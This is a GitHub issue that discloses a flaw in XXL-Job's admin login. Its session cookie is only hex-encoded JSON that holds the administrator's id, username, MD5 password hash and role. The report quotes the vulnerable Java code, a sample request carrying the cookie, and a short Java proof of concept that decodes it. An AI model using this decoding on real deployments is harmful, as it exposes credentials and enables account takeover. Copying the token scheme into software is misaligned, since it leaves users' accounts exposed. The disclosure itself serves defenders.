Skip to content

Use of a Broken or Risky Cryptographic Algorithm vulnerability (CWE-327) #3751

@NinjaGPT

Description

@NinjaGPT

Summary

Multiple versions of XXL-Job, including the latest version, contain a critical security vulnerability. The XXL_JOB_LOGIN_IDENTITY in the cookie is obtained by hexadecimal conversion of administrator user information. After decoding, it contains the administrator's uid, username, password hash (md5), role_id, and permission information. If hackers obtain the administrator's cookie through any means, it is equivalent to gaining access to these sensitive administrator user details.


Details

The token generation logic during the login process

  • src/main/java/com/xxl/job/admin/controller/IndexController.java
@RequestMapping(value="login", method=RequestMethod.POST)
@ResponseBody
@PermissionLimit(limit=false)
public ReturnT<String> loginDo(HttpServletRequest request, HttpServletResponse response, String userName, String password, String ifRemember){
    boolean ifRem = (ifRemember!=null && ifRemember.trim().length()>0 && "on".equals(ifRemember))?true:false;
    return loginService.login(request, response, userName, password, ifRem);
}


public ReturnT<String> login(HttpServletRequest request, HttpServletResponse response, String username, String password, boolean ifRemember){

    // param
    if (username==null || username.trim().length()==0 || password==null || password.trim().length()==0){
        return new ReturnT<String>(500, I18nUtil.getString("login_param_empty"));
    }

    // valid passowrd
    XxlJobUser xxlJobUser = xxlJobUserDao.loadByUserName(username);
    if (xxlJobUser == null) {
        return new ReturnT<String>(500, I18nUtil.getString("login_param_unvalid"));
    }
    String passwordMd5 = DigestUtils.md5DigestAsHex(password.getBytes());
    if (!passwordMd5.equals(xxlJobUser.getPassword())) {
        return new ReturnT<String>(500, I18nUtil.getString("login_param_unvalid"));
    }

    String loginToken = makeToken(xxlJobUser);

    // do login
    CookieUtil.set(response, LOGIN_IDENTITY_KEY, loginToken, ifRemember);
    return ReturnT.SUCCESS;
}

 
private String makeToken(XxlJobUser xxlJobUser){
    String tokenJson = JacksonUtil.writeValueAsString(xxlJobUser);
    String tokenHex = new BigInteger(tokenJson.getBytes()).toString(16);
    return tokenHex;
}

 
public XxlJobUser ifLogin(HttpServletRequest request, HttpServletResponse response){
    String cookieToken = CookieUtil.getValue(request, LOGIN_IDENTITY_KEY);
    if (cookieToken != null) {
        XxlJobUser cookieUser = null;
        try {
            cookieUser = parseToken(cookieToken);
        } catch (Exception e) {
            logout(request, response);
        }
        if (cookieUser != null) {
            XxlJobUser dbUser = xxlJobUserDao.loadByUserName(cookieUser.getUsername());
            if (dbUser != null) {
                if (cookieUser.getPassword().equals(dbUser.getPassword())) {
                    return dbUser;
                }
            }
        }
    }
    return null;
}

So as long as the obtained token is converted from hexadecimal to string, account information will be retrieved.


POC

Admin account's cookie sample:

GET /xxl-job-admin/ HTTP/1.1
Host: 127.0.0.1:7001
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:7001/xxl-job-admin/user
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1751943490; HMACCOUNT=07E32C2CE82754B5; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1751952001; JSESSIONID=2b4aea12-1969-4416-aa33-647ac1c23da8; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
Connection: close


  • Let's see the XXL_JOB_LOGIN_IDENTITY

XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d

POC

public class HexStringConverter {

    public static void main(String[] args) {
        String hexString = "7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d"; // 示例十六进制字符串
        String originalString = new String(new BigInteger(hexString, 16).toByteArray());
        System.out.println(originalString);
    }
}

{"id":1,"username":"admin","password":"e10adc3949ba59abbe56e057f20f883e","role":1,"permission":null}

Then we got the uid, username, password hash (md5), role_id and permission

Impact

Cookie contains admin credentials in plaintext hex format, enabling complete account takeover and unauthorized system access if intercepted.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions